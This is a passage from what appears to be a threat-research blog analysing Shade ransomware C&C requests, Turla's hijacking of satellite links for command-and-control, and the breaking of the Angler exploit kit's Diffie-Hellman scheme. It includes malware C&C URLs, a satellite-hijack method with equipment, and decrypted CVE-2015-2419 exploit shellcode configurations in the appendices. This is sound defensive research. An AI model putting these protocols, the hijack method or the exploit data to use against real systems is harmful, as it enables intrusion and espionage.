    build – the ID of the specific sample of the malicious program. We have encountered build1 only;
    version – the version of the malicious program. We have encountered version 1 only;
    stage – the stage of the Trojan’s operation.
  2. A request to receive URL addresses for downloading/updating DLL plugins.
    GET http://<server>.onion/upd.php?n=ID&b=build&v=version&p=plugins
  3. Request for a task to determine the CMS on the website and to check the login credentials:
    GET http://<server>.onion/task.php?n=ID&b=build&v=version&p=plugins
    plugins – the versions of installed DLL plugins.
    The server’s response comes in the JSON format and contains URLs of the websites to be attacked and a dictionary for breaking passwords.
  4. Send a brute force report:
    POST http://<server>.onion/rep.php?n=ID&b=build&v=version&rep=report
    report – a JSON string containing a report about the CMS found on the website, as well as broken login credentials to the administration console.

In the case of Trojan-Ransom.Win32.Shade, all advice that was previously given on how to counteract encryptors is still relevant. Detailed instructions are available at:

If your computer has already suffered an attack by this Trojan, it is extremely important that you run a full scan and treat it with an anti-malware solution. Remember that Trojan-Ransom.Win32.Shade downloads and installs malware belonging to several various families, as stated at the beginning of this article.


The following samples were used while writing this article:

Verdict MD5 Trojan-Ransom.Win32.Shade.ub 21723762c841b2377e06472dd9691da2 Trojan-Ransom.Win32.Shade.ui bb159b6fe30e3c914feac5d4e1b85a61 Trojan.Win32.CMSBrute.a 543d1620ce976cb13fec190ccc1bc83a

Satellite Turla: APT Command and Control in the Sky

Wed, 09/09/2015 - 05:58

Have you ever watched satellite television? Were you amazed by the diversity of TV channels and radio stations available? Have you ever looked in wonder at satellite phones or satellite-based Internet connections wondering what makes them tick? What if we told you that there’s more to satellite-based Internet connections than entertainment, traffic and weather? Much, much more.

When you are an APT group, you need to deal with many different problems. One of them, and perhaps the biggest, is the constant seizure and takedown of domains and servers used for command-and-control (C&C). These servers are constantly appropriated by law enforcement or shut down by ISPs. Sometimes they can be used to trace the attackers back to their physical locations.

Some of the most advanced threat actors or users of commercial hacking tools have found a solution to the takedown problem — the use of satellite-based Internet links. In the past, we’ve seen three different actors using such links to mask their operations. The most interesting and unusual of them is the Turla group.

Also known as Snake or Uroburos, names which come from its top class rootkit, the Turla cyber-espionage group has been active for more than 8 years. Several papers have been published about the group’s operations, but until the Epic Turla research was published by Kaspersky Lab, little information was available about the more unusual aspects of their operations, such as the first stages of infection through watering-hole attacks.

What makes the Turla group special is not just the complexity of its tools, which include the Uroboros rootkit, aka “Snake”, as well as mechanisms designed to bypass air gaps through multi-stage proxy networks inside LANs, but the exquisite satellite-based C&C mechanism used in the latter stages of the attack.

In this blog, we hope to shed more light on the satellite-based C&C mechanisms that APT groups, including the Turla/Snake group, use to control their most important victims. As the use of these mechanisms becomes more popular, it’s important for system administrators to deploy the correct defense strategies to mitigate such attacks. For IOCs, see the appendix.

Technical details

Although relatively rare, since 2007 several elite APT groups have been using — and abusing — satellite links to manage their operations — most often, their C&C infrastructure. Turla is one of them. Using this approach offers some advantages, such as making it hard to identify the operators behind the attack, but it also poses some risks to the attackers.

On the one hand, it’s valuable because the true location and hardware of the C&C server cannot be easily determined or physically seized. Satellite-based Internet receivers can be located anywhere within the area covered by a satellite, and this is generally quite large. The method used by the Turla group to hijack the downstream links is highly anonymous and does not require a valid satellite Internet subscription.

On the other hand, the disadvantage comes from the fact that satellite-based Internet is slow and can be unstable.

In the beginning, it was unclear to us and other researchers whether some of the links observed were commercial Internet connections via satellite, purchased by the attackers, or if the attackers had breached the ISPs and performed Man-in-the-Middle (MitM) attacks at the router level to hijack the stream. We have analyzed these mechanisms and come to the astonishing conclusion that the method used by the Turla group is incredibly simple and straightforward, as well as highly anonymous and very cheap to operate and manage.

Real satellite links, MitM attacks or BGP hijacking?

Purchasing satellite-based Internet links is one of the options APT groups can choose to secure their C&C traffic. However, full duplex satellite links can be very expensive: a simple duplex 1Mbit up/down satellite link may cost up to $7000 per week. For longer term contracts this cost may decrease considerably, but the bandwidth still remains very expensive.

Another way of getting a C&C server into a satellite’s IP range is to hijack the network traffic between the victim and the satellite operator and to inject packets along the way. This requires either exploitation of the satellite provider itself, or of another ISP on the way.

These kinds of hijacking attacks have been observed in the past and were documented by Renesys (now part of Dyn) in a blogpost dated November 2013.

According to Renesys: “Various providers’ BGP routes were hijacked, and as a result a portion of their Internet traffic was misdirected to flow through Belarusian and Icelandic ISPs. We have BGP routing data that show the second-by-second evolution of 21 Belarusian events in February and May 2013, and 17 Icelandic events in July- August 2013.”

In a more recent blogpost from 2015, Dyn researchers point out that: “For security analysts reviewing alert logs, it is important to appreciate that the IP addresses identified as the source of incidents can and are regularly spoofed. For example, an attack that appeared to come from a Comcast IP located in New Jersey may really have been from a hijacker located in Eastern Europe, briefly commandeering Comcast IP space. It is interesting to note that all six cases discussed above were conducted from either Europe or Russia.”

Obviously, such incredibly apparent and large-scale attacks have little chance of surviving for long periods of time, which is one of the key requirements for running an APT operation. It is therefore not very feasible to perform the attack through MitM traffic hijacking, unless the attackers have direct control over some high-traffic network points, such as backbone routers or fiber optics. There are signs that such attacks are becoming more common, but there is a much simpler way to hijack satellite-based Internet traffic.

Satellite link (DVB-S) hijacking

The hijacking of satellite DVB-S links has been described a few times in the past and a presentation on hijacking satellite DVB links was delivered at BlackHat 2010 by the S21Sec researcher Leonardo Nve Egea.

To hijack satellite DVB-S links, one needs the following:

  • A satellite dish – the size depends on geographical position and satellite
  • A low-noise block downconverter (LNB)
  • A dedicated DVB-S tuner (PCIe card)
  • A PC, preferably running Linux

While the dish and the LNB are more-or-less standard, the card is perhaps the most important component. Currently, the best DVB-S cards are made by a company called TBS Technologies. The TBS-6922SE is perhaps the best entry-level card for the task.

TBS-6922SE PCIe card for receiving DVB-S channels

The TBS card is particularly well-suited to this task because it has dedicated Linux kernel drivers and supports a function known as a brute-force scan which allows wide-frequency ranges to be tested for interesting signals. Of course, other PCI or PCIe cards might work as well, while, in general the USB-based cards are relatively poor and should be avoided.

Unlike full duplex satellite-based Internet, the downstream-only Internet links are used to accelerate Internet downloads and are very cheap and easy to deploy. They are also inherently insecure and use no encryption to obfuscate the traffic. This creates the possibility for abuse.

Companies that provide downstream-only Internet access use teleport points to beam the traffic up to the satellite. The satellite broadcasts the traffic to larger areas on the ground, in the Ku band (12-18Ghz) by routing certain IP classes through the teleport points.

How does satellite internet hijacking work?

To attack satellite-based Internet connections, both the legitimate users of these links as well as the attackers’ own satellite dishes point to the specific satellite that is broadcasting the traffic. The attackers abuse the fact that the packets are unencrypted. Once an IP address that is routed through the satellite’s downstream link is identified, the attackers start listening for packets coming from the Internet to this specific IP. When such a packet is identified, for instance a TCP/IP SYN packet, they identify the source and spoof a reply packet (e.g. SYN ACK) back to the source using a conventional Internet line.

At the same time, the legitimate user of the link just ignores the packet as it goes to an otherwise unopened port, for instance, port 80 or 10080. There is an important observation to make here: normally, if a packet hits a closed port, a RST or FIN packet will be sent back to the source to indicate that there is nothing expecting the packet. However, for slow links, firewalls are recommended and used to simply DROP packets to closed ports. This creates an opportunity for abuse.

Abused Internet ranges

During the analysis, we observed the Turla attackers abusing several satellite DVB-S Internet providers, most of them offering downstream-only connections in the Middle East and Africa. Interestingly, the coverage of these beams does not include Europe or Asia, meaning that a dish is required in either the Middle East or Africa. Alternatively, a much larger dish (3m+) can be used in other areas to boost the signal.

To calculate the dish size, one can use various tools, including online resources such as

Sample dish calculation – (c)

The table below shows some of the command-and-control servers related to the Turla actor with domains resolving to an IP belonging to satellite-based Internet providers:

IP First seen Hosts Nov, 2007 n/a, see note below Feb 25th, 2014 Feb 27th, 2014 March 18th, 2014 March 18th, 2014 January 25th, 2014 March 19th, 2014 April 26th, 2013 May 28th, 2014 March 11th, 2014 June 24th, 2014 April 4th, 2014 March 17th, 2015 May 2nd, 2012 January 3rd, 2013 July 3, 2014 September 1st, 2014 August 05, 2015

Note: is hardcoded in the configuration block of the malicious sample.

The observed satellite IPs have the following ‘WHOIS’ information:

IP Country ISP Nigeria Skylinks Satellite Communications Limited UAE Teleskies, Telesat Network Services Inc Lebanon Lunasat Isp Denmark Emperion Lebanon Intrasky Offshore S.a.l. Germany IABG mbH Somalia Sky Power International Ltd Nigeria Sky Power International Ltd United Kingdom SkyVision Global Networks Ltd Niger SkyVision Global Networks Ltd Congo Orioncom

One interesting case is probably, which falls into the satellite IP range of IABG mbH.

This IP is encrypted in the C&C of the following backdoor used by Turla group, known as “Agent.DNE“:

md5 0328dedfce54e185ad395ac44aa4223c size 91136 bytes type Windows PE

Agent.DNE C&C configuration

This Agent.DNE sample has a compilation timestamp of Thu Nov 22 14:34:15 2007, meaning that the Turla group has been using satellite-based Internet links for almost eight years.


The regular usage of satellite-based Internet links by the Turla group represents an interesting aspect of their operation. The links are generally up for several months, but never for too long. It is unknown if this is due to operational security limitations self-imposed by the group or because of shutdown by other parties due to malicious behavior.

The technical method used to implement these Internet circuits relies on hijacking downstream bandwidth from various ISPs and packet-spoofing. This is a method that is technically easy to implement, and provides a much higher degree of anonymity than possibly any other conventional method such as renting a VPS or hacking a legitimate server.

To implement this attack methodology, the initial investment is less than $1000. Regular maintenance should be less than $1000 per year. Considering how easy and cheap this method is, it is surprising that we have not seen more APT groups using it. Even though this method provides an unmatched level of anonymfor logistical reasons it is more straightforward to rely on bullet-proof hosting, multiple proxy levels or hacked websites. In truth, the Turla group has been known to use all of these techniques, making it a very versatile, dynamic and flexible cyber-espionage operation.

Lastly, it should be noted that Turla is not the only APT group that has used satellite-based Internet links. HackingTeam C&Cs were seen on satellite IPs before, as well as C&Cs from the Xumuxu group and, more recently the Rocket Kitten APT group.

If this method becomes widespread between APT groups or worse, cyber-criminal groups, this will pose a serious problem for the IT security and counter-intelligence communities.

* A full paper on the Turla group’s use of satellite-based Internet links is available to the customers of Kaspersky Intelligence Services.

Indicators of compromise: IPs:





Kaspersky Lab products detect the above Turla samples with the following verdicts:

  1. Agent.btz: a Source of Inspiration?
  2. The Epic Turla operation
  3. The ‘Penquin’ Turla

Attacking Diffie-Hellman protocol implementation in the Angler Exploit Kit

Tue, 09/08/2015 - 07:21

Exploit kit creators have been inventing increasingly interesting methods of masking their exploits, shellcodes, and payloads so that it is harder for analysts to define the type of the exploit and know what actions they may perform.

Several days ago analysts found the usage of the Diffie-Hellman cryptographic protocol in the Angler Exploit Kit, which is one of the most popular exploit kits at the moment. This protocol was developed more than 40 years ago, but that is the first known case of its usage in an exploit kit.

In Angler, threat actors used the Diffie-Hellman protocol to get a structure with the shellcode of one of the recent exploits for the CVE-2015-2419 vulnerability for the Internet Explorer 11 browser and then for the CVE-2015-5560 vulnerability exploit for Adobe Flash. Most likely, the goal of the threat actors was creating difficulties in firewall detection of the exploit (as firewalls cannot decipher a shellcode and exploit by the means of the intercepted traffic analysis) and also making it harder for the analysts to get the exploit code. However, the experts from Kaspersky Lab managed to perform a successful attack against Diffie-Hellman protocol implementation and decipher the shellcode.

Angler vs. Analysts

To make matters worse for analysts, JavaScript code and ActionScript code multiple obfuscation and a user IP ban upon sending the encrypted structure with a shellcode to the user were used in addition to the Diffie-Hellman protocol. After getting the structure with the shellcode by that means (encrypted with a one-time key by using the Diffie-Hellman protocol), the exploit kit sample becomes unusable after one processing: the analyst is unable to understand what a specific file does, reproduce the attack, and, quite often, identify the exploit and vulnerability at all.

A key exchange and getting a shellcode for the CVE-2015-2419 exploit

There is a key exchange request in the picture above. As a response, a browser gets from the threat actors’ server an encrypted array that contains a shellcode to exploit the vulnerability. The same traffic request has been used to download the Flash vulnerability exploit.

As the secret for key generation is new each time, an analyst is unable to send it to the browser once more, reproduce the attack, and identify the vulnerability, even if he has the recorded traffic.

Diffie-Hellman Protocol Implementation Features

The used implementation of the Diffie-Hellman protocol includes the following:

  1. The server generates a random number g (16 bytes) and sends the HTML page with the number g and JavaScript implementation of the Diffie-Hellman algorithm to the user’s browser.

  2. JavaScript generates a random modulo p (16 bytes) and a random private key Ka (16 bytes) in the user’s browser, and then JavaScript calculates the public key A = gKa mod p and sends the three numbers (g, A, p) to the server as a JSON object along with the Internet browser version.


  3. The server generates its own random private key Kb and its random encryption key Kx (16 bytes) and finds the Diffie-Hellman shared secret Kdh = AKb mod p. After that, the server encrypts the shellcode by using the XTEA algorithm and the key Kx, then base64_encode and urlencode, getting the string b as a result. Then, the key Kx is also encrypted by XTEA with the key Kdh, base64_encode, and urlencode, getting the string k as a result. And finally, the server calculates its public key B = gKb mod p and sends Base64-encrypted JSON object that contains B, k, and b to the browser:


    After Base64 encryption removal:


  4. A user’s browser calculates the Diffie-Hellman shared secret Kdh = BKa mod p, decrypts k urldecode, base64_decode, and XTEA by using the key Kdh, getting the key Kx, and eventually decrypts the urldecode, base64_decode, and XTEA shellcode by using the key Kx.

It is safe to assume that the aim of using the given sophisticated cryptographic system is shellcode interception prevention by listening to the Internet traffic between the server with the exploit kit and the user’s browser. We managed to perform a successful attack against the implementation of the encryption protocol and decrypt the shellcode. We used the modified Pohlig-Hellman algorithm for the attack (a deterministic algorithm of discrete logarithm-finding in the residue ring modulo a prime number).

According to the original algorithm, for the case when the Euler function expansion of the modulo p into prime factors qi is known (coprime factors Qi)

the complexity of finding the private key Ka and the Diffie-Hellman shared secret Kdh by using intercepted public keys A and B is

We used an optimized algorithm of finding the discrete logarithm in the residue ring modulo a prime number, taking into account the infinitesimality of logp with respect to qi, and low probability of occurrence of large prime factors raised to the power of greater than one in the Euler function φ(p); i.e., αi will equal one for large qi with a high probability. Owing to that, the complexity of the modified algorithm is

which allows us to perform a successful attack in case if all qi < 1018. The experiment has shown that the given condition is observed in more than a half of cases of using the aforementioned Diffie-Hellman protocol implementation (the case of randomly generated g, p, Ka, and Kb without their extra security checks).

Description of the Modified Pohlig-Hellman Algorithm
  1. Let us find the expansion of the number p into prime factors (the factorization can be easily done with Cryptool):

    p = 0x1b0b5c6e6b0b5b7e6c6d0b1b0a8c3c7e = 35948145881546650497425055363061529726 = 2 * 101 * 521 * 195197 * 7138079603 * 245150552958961933

  2. Let us find the Euler function for the number p:

    φ(p) = (2-1) * (101-1) * (521-1) * (195197-1) * (7138079603-1) * (245150552958961933-1) = 17761863220777184249809368812124288000

  3. Let us find the expansion of the Euler function into prime factors:

    φ(p) = 2^10 * 3^2 * 5^3 * 13 * 19 * 79 * 167 * 383 * 48799 * 45177719 * 5603527793

  4. In order to find the browser’s private key Ka, it is necessary to find a discrete logarithm:

    A = gKa mod p
    A = 0x5eff90f1c48342f5d519cd02b5dfd8b = 7892150445281019518426774740123123083
    g = 0x40a262b1360a6a16612ca8251161a9a5 = 14017453774474660607531272629759062185 (mod p)

    As immediately finding Ka modulo φ(p) is quite time-consuming, let us find Ka by turns for each of the coprime factors Qi of the Euler function φ(p)

    [1024, 9, 125, 13, 19, 79, 167, 383, 48799, 45177719, 5603527793],

    and, by using the obtained results and the Chinese remainder theorem, let us immediately find Ka modulo φ(p).

  5. In order to find Ka modulo Qi, it is necessary to find a discrete logarithm

    To do that, we shall

    5.1. take the number H=⌊√(Qi)⌋+1;
    5.2. calculate Dc=DaH mod p;
    5.3. make a sorted table of values Dcu mod p for 1 ≤ uH;
    5.4. find such a value of 0 ≤ v ≤H, that the element Db ∙ Dav mod p is in the table;
    5.5. The value of Ka modulo Qi equals Hu-v.

    The implementation of the described algorithm in Java is given in the Appendix A. As in the reviewed example the maximum value of Qi is only several billions, the program execution time did not exceed several seconds.

    For some of the Qi factors of the Euler function φ(p), there are several possible Ka values (there are possible Ka modulo Qi values in the row number i):

    [834, 898, 962, 2, 842, 906, 970, 10, 850, 914, 978, 18, 858, 922, 986, 26, 866, 930, 994, 34, 874, 938, 1002, 42, 882, 946, 1010, 50, 890, 954, 1018, 58, 826] [4] [18, 68, 118, 43, 93] [9] [12] [42] [6] [21] [11929] [24277014] [2536644002]

  6. By going over all of the possible combinations of obtained Ka values by using the Chinese remainder theorem, we find several tens of possible Ka modulo φ(p) values:



  7. All of the obtained values of the private key Ka lead to the same value of the Diffie-Hellman shared secret Kdh = BKa mod p:


  8. By knowing Kdh, it is possible to decrypt the encryption key Kx from k and the shellcode by using Kx. The PHP script for decrypting the intercepted shellcode by using the known Diffie-Hellman shared secret is given in the Appendix B. The decrypted shellcode is given in the Appendix C.

Testing of the Diffie-Hellman Protocol Implementation Attack in the Angler Exploit Kit

To test the effectiveness and functionality of the attack, several tests were conducted.

  1. A test with a traffic dump from with the exploit for CVE-2015-2419.


    {"B":"481dbc66fe90ded2eb8d027395abe4fd", …

    p = 146455792068641286704746413745292278846 = 2 * 2269 * 1057223 * 1292823547 * 23612186462182360807

    φ(p) = 73195553541542938096767116236244889696 = 2^5 * 3^6 * 7^3 * 17 * 617 * 7127 * 528611 * 231492024139042753

    Owing to a significantly large factor φ(p) (about 1018), finding the Diffie-Hellman shared secret took several hours:


    The decrypted shellcode is given in the Appendix D.

  2. A test with a traffic dump from with the exploit for CVE-2015-2419 and CVE-2015-5560.

    The new version of the Angler Exploit Kit has minor changes in the server-to-script communication protocol:



    As compared with the previous version, indices “g”, “A”, “p”, “B”, “b”, and “k” were replaced by the parts of the number g, and the order of the numbers sent to the server was changed (now, it is g, p, A not g, A, p as it was before). Besides that, the XTEA algorithm had two constant values and used when decrypting the shellcode bit operation modified:

    Before (the original XTEA implementation) After for(var h=g[0],k=g[1],l=84941944608;0!=l;)
    h-=(k<>>5)+k^l+d[l&3]; for(var h=g[0],k=g[1],l=433284421593;0!=l;)

    For the given traffic, we managed to factorize the Euler function φ(p)

    p = 123758666691284322087508686576379854395 = 5 * 11 * 47 * 73 * 83 * 173 * 1055371 * 43277569507162384847671

    φ(p) = 85339058418474058501009217357034700800 = 2^14 * 3^6 * 5^2 * 23 * 41 * 43 * 127 * 277 * 1949 * 102798053917762603

    find the Diffie-Hellman shared secret


    and decrypt the shellcode for CVE-2015-2419 (given in the Appendix E).

    In addition to that, threat actors started to use the Diffie-Hellman key exchange pattern also for Flash exploits in the new version of the Angler Exploit Kit (i.e., the creators of the exploit kit programmed the same algorithms in PHP, JavaScript, and ActionScript). The protocol exploit and shellcode download format for the Flash vulnerability is the same as the one for the shellcode vulnerability for Internet Explorer:



    Modulo p and the Euler function φ(p) factors:

    p = 81152602799751951422044316006212054554 = 2 * 3 * 36329424479 * 10983441260369 * 33896452871009

    φ(p) = 27050867599169456821145398677392574464 = 2^11 * 7 * 13 * 199 * 91279961 * 11640265409 * 686465078773

    the Diffie-Hellman shared secret:


    The decrypted exploit and shellcode for CVE-2015-5560 is given in the Appendix F.

    Appendix A. The Diffie-Hellman Protocol Attack Implementation in Java import java.math.BigInteger; import java.util.HashSet; import java.util.Iterator; import java.util.Set; import java.util.TreeMap; import java.util.Vector; public class Test1 { static BigInteger p = new BigInteger("1b0b5c6e6b0b5b7e6c6d0b1b0a8c3c7e", 16); static BigInteger psi = new BigInteger("17761863220777184249809368812124288000"); static BigInteger g = new BigInteger("40a262b1360a6a16612ca8251161a9a5", 16).mod(p); static BigInteger A = new BigInteger("5eff90f1c48342f5d519cd02b5dfd8b", 16); static BigInteger B = new BigInteger("02aa6526e6edc0042394b7ea81ec5b75", 16); static long[] q = new long[]{1024L, 9L, 125L, 13L, 19L, 79L, 167L, 383L, 48799L, 45177719L, 5603527793L}; static int q_len = q.length; static HashSet[] xi = new HashSet[q_len]; static BigInteger ai[] = new BigInteger[q_len]; static HashSet res = new HashSet(); static void rec(int ind) { if (ind == q_len) { BigInteger x = BigInteger.ZERO; for(int i=0;i<q_len;i++) { BigInteger mn = new BigInteger(((Long)q[i]).toString()); BigInteger M = psi.divide(mn); x = x.add(ai[i].multiply(M).multiply(M.modInverse(mn))); } res.add(B.modPow(x.mod(psi), p)); //res.add(x.mod(psi)); return; } Iterator<Long> it = xi[ind].iterator(); while(it.hasNext()){ ai[ind] = new BigInteger(; rec(ind + 1); } } public static void main(String[] args) { for(int i=0;i<q_len;i++) { xi[i] = new HashSet<Long>(); long qi = q[i]; int H = (int)Math.sqrt((double)qi) + 1; BigInteger _a = g.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p); BigInteger _b = A.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p); BigInteger _c = _a.modPow(new BigInteger(((Integer)H).toString()), p); BigInteger _cp = _c; int u_size = 1000000; boolean stop = false; for(int u_part = 1;u_part<=H && !stop;u_part+=u_size) { if (H > u_size) { System.out.print("[i] Processing "); System.out.println(u_part); } TreeMap<BigInteger, Integer> table = new TreeMap<>(); for(int u=u_part;u<=H && u<u_part + u_size;u++) { table.put(_cp, u); _cp = _cp.multiply(_c).mod(p); } BigInteger z = _b; for(int v=0;v<=H;v++) { if (table.get(z) != null) { xi[i].add((((long)H)*table.get(z) - v) % qi); stop = true; break; } z = z.multiply(_a).mod(p); } table.clear(); System.gc(); } System.out.println(xi[i].toString()); } rec(0); Iterator<BigInteger> it = res.iterator(); while(it.hasNext()){ System.out.println(; } } } Appendix B. Intercepted Encrypted Shellcode Decryption PHP Script by Using the Known Diffie-Hellman Shared Secret <?php include 'xtea_ak.php'; $dh = "0eb034f99e33e17df058de5b448b7241"; $resp = "eyJCIjoiMDJhYTY1MjZ…"; $dh = hex2bin($dh); $json = json_decode(base64_decode(rawurldecode($resp))); $k = base64_decode(rawurldecode($json->k)); $xtea = new XTEA($dh); $k = $xtea->Decrypt($k); $data = base64_decode(rawurldecode($json->b)); $xtea = new XTEA($k); $data = $xtea->Decrypt($data); $data = rtrim($data, ""); echo $data; ?> Appendix C. Decrypted Shellcode {"ll":"length","I":"charCodeAt","llI":"fromCharCode","Il":"floor","IIl":"random","l":"stringify","III":"location","II":"host","lI":"number","IlI":"ScriptEngineBuildVersion","lIl":"ScriptEngineMajorVersion","Ill":"ScriptEngineMinorVersion","lII":"ur0pqm8kx","lll":"http://","lIll":"/","lllI":"u","IlIl":"x","IIlI":"xexec","lIII":"EAX","Illl":"ECX","IIIl":"EDI","IllI":"ESP","lIIl":"POP EAX","llII":"XCHG EAX,ESP","IIll":"MOV [ECX+0C],EAX","llIl":"JMP EAX","IIII":"CALL [EAX+4C]","llll":"MOV EDI,[EAX+90]","lIlI":"a","llIll":"kernel32.dll","IlII":"virtualprotect","IIIlI":11,"lllll":0,"lIlIl":17905,"IIIII":500,"IlIll":16,"lIIlI":0,"IlllI":1,"IIllI":2,"lIIII":3,"IIIIl":4,"llIIl":5,"lIlII":8,"llIII":9,"llllI":10,"IlIII":11,"lllIl":12,"lIlll":16,"IlIIl":24,"lIllI":2147483647,"IIlll":4294967295,"IIIll":255,"IIlII":256,"llIlI":65535,"IIlIl":16776960,"lIIIl":16777215,"lIIll":4294967040,"IllII":4294901760,"IllIII":4278190080,"IlIlI":65280,"lllII":16711680,"Illlll":19,"IIIIIl":4096,"Illll":4294963200,"IllIl":4095,"IlIIll":14598366,"IIIIlI":48,"llIIlI":32,"IlIIIl":15352,"lIIIII":85,"llIlII":4096,"llllII":311296000,"IlIlII":61440,"IIlIll":24,"lllllI":32,"lllIll":17239,"IllIIl":15,"lIllll":256,"IIIlll":76,"IllIlI":144,"IIIIII":65536,"IIlllI":100000,"llIlll":28,"IIIlII":60,"llIlIl":44,"lIIIll":28,"IllllI":128,"IIllIl":20,"IlIlIl":12,"lIIIlI":16,"IlIllI":4,"llIIII":2,"llllll":110,"IlIlll":64,"IIIIll":-1,"lIlIII":0,"IIIllI":1,"lIIllI":2,"IlIIII":3,"IlllIl":4,"lllIII":5,"lIlllI":7,"lIIIIl":9,"lllIlI":10,"IllIll":11,"IIIlIl":12,"IIlIII":-2146823286,"llIIIl":[148,195],"lllIIl":[88,195],"IlIIlI":[137,65,12,195],"lIIlIl":[255,224],"IIllll":[255,80,76],"lIlIlI":[139,184,144,0,0,0],"IIlIlI":[122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542],"IIlIIl":[76514,78206,169140,1564283,57653,92732,277930,57206,212281,94821,94789,140864,95448,95192,89830,133640],"lIllIl":[150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476],"IlllII":[68393,159289,2065114,93035,78635,263996,90969,131279,116207,116175,67007,117999,117551,3965891,96438,107246],"llIIll":[54887,141400,75989,63764,1761036,68463,201153,1001000],"llIllI":[120559,120527,121839,120834,120386,119458,117442],"lIlIll":48,"lIIllll":57,"lIIlII":65,"llllIl":90,"IIIIlll":97,"lIlllII":122,"IIllII":16640,"llIIIlI":23040,"IlIlIII":4259840,"lIIlIIl":5898240,"IIlIIIl":1090519040,"IlIIlII":1509949440,"IllIIlI":32,"lIlIIl":8192,"IIlIIll":2097152,"lIIlllI":536870912,"llIlIIl":{"17416":4080636,"17496":4080636,"17631":4084748,"17640":4084748,"17689":4080652,"17728":4088844,"17801":4088844,"17840":4088840,"17905":4088840}} Appendix D. Decrypted Shellcode for the CVE-2015-2419 Vulnerability from the Traffic Dump of the Older Angler Version {"ll":"length","l":"charCodeAt","I":"fromCharCode","Il":"floor","IlI":"random","lI":"stringify","lII":"location","II":"host","llI":"number","lll":"ScriptEngineBuildVersion","lIl":"ScriptEngineMajorVersion","IIl":"ScriptEngineMinorVersion","Ill":"setInterval","III":"clearInterval","lIlI":"ur0pqm8kx","IlII":"http://","lllI":"/","lIIl":"u","IlIl":"x","llll":"xexec","Illl":"EAX","lIII":"ECX","IIIl":"EDI","IllI":"ESP","IIlI":"XCHG EAX,ESP","IIll":"MOV [ECX+0C],EAX","llIl":"CALL [EAX+4C]","llII":"MOV EDI,[EAX+90]","IIII":"a","lIll":"kernel32.dll","lIlll":"virtualprotect","IIIlI":11,"lIIll":0,"lllll":17905,"lIllI":500,"llIIl":16,"IlIII":0,"IIIll":1,"IIlII":2,"lIlII":3,"IllIl":4,"lllIl":5,"IIlll":8,"lIlIl":9,"lIIIl":10,"IllII":11,"lIIlI":12,"IlIll":16,"IIIIl":24,"IlIlI":100,"IIIII":1,"llIlI":2,"lllII":2147483647,"llIll":4294967295,"IIllI":255,"llIII":256,"lIIII":65535,"IIlIl":16776960,"IlIIl":16777215,"llllI":4294967040,"IlllIl":4294901760,"Illll":4278190080,"IlllI":65280,"llllIl":16711680,"lllIlI":19,"llIIII":4096,"IIIIIl":4294963200,"IIlllI":4095,"llIIlI":14598366,"IIllIl":48,"llIIll":32,"IIIllI":15352,"llIlll":85,"lIIIII":4096,"IllllI":400,"lIIlII":311296000,"IIIlIl":61440,"llllII":24,"IIIIll":32,"IlIlIl":17239,"lllllI":15,"IllIll":256,"llIllI":76,"lllIll":144,"lIlIIl":17416,"IlIIll":65536,"IIlIll":100000,"lIlllI":28,"IIlIlI":60,"lIlIII":44,"IIIlll":28,"IllIII":128,"lllIIl":20,"lIIIll":12,"lIlIlI":16,"IIlIIl":4,"IlIIIl":2,"lIllll":110,"IIIlII":64,"IllIlI":-1,"lIIIIl":0,"IllIlII":1,"lIIlll":2,"IlIlll":3,"IIlIII":4,"lIllIl":5,"IIllll":7,"IIIIII":9,"lIlIll":10,"IlllII":11,"lIllII":12,"Illlll":-2146823286,"lIIIlI":[148,195],"lIIlIl":[137,65,12,195],"IIllII":[122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542],"IlIIII":[150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476],"IIIIlI":48,"IIIlIlI":57,"lllIII":65,"IllIIl":90,"IlIlII":97,"llllll":122,"IlIllI":16640,"llIlIl":23040,"IlIIlI":4259840,"lIIIIlI":5898240,"llIIIl":1090519040,"llIIIII":1509949440,"IlIIIlI":32,"IIIlllI":8192,"lllllII":2097152,"IIIllll":536870912,"llIlII":{"17416":4080636,"17496":4080636,"17631":4084748,"17640":4084748,"17689":4080652,"17728":4088844,"17801":4088844,"17840":4088840,"17905":4088840}} Appendix E. Decrypted Shellcode for the CVE-2015-2419 Vulnerability from the Traffic Dump of the New Angler Version {"ll":"length","I":"charCodeAt","llI":"fromCharCode","Il":"floor","IIl":"random","l":"stringify","III":"location","II":"host","lI":"number","IlI":"ScriptEngineBuildVersion","lIl":"ScriptEngineMajorVersion","Ill":"ScriptEngineMinorVersion","lII":"ur0pqm8kx","lll":"http://","lIll":"/","lllI":"u","IlIl":"x","IIlI":"xexec","lIII":"EAX","Illl":"ECX","IIIl":"EDI","IllI":"ESP","lIIl":"POP EAX","llII":"XCHG EAX,ESP","IIll":"MOV [ECX+0C],EAX","llIl":"JMP EAX","IIII":"CALL [EAX+4C]","llll":"MOV 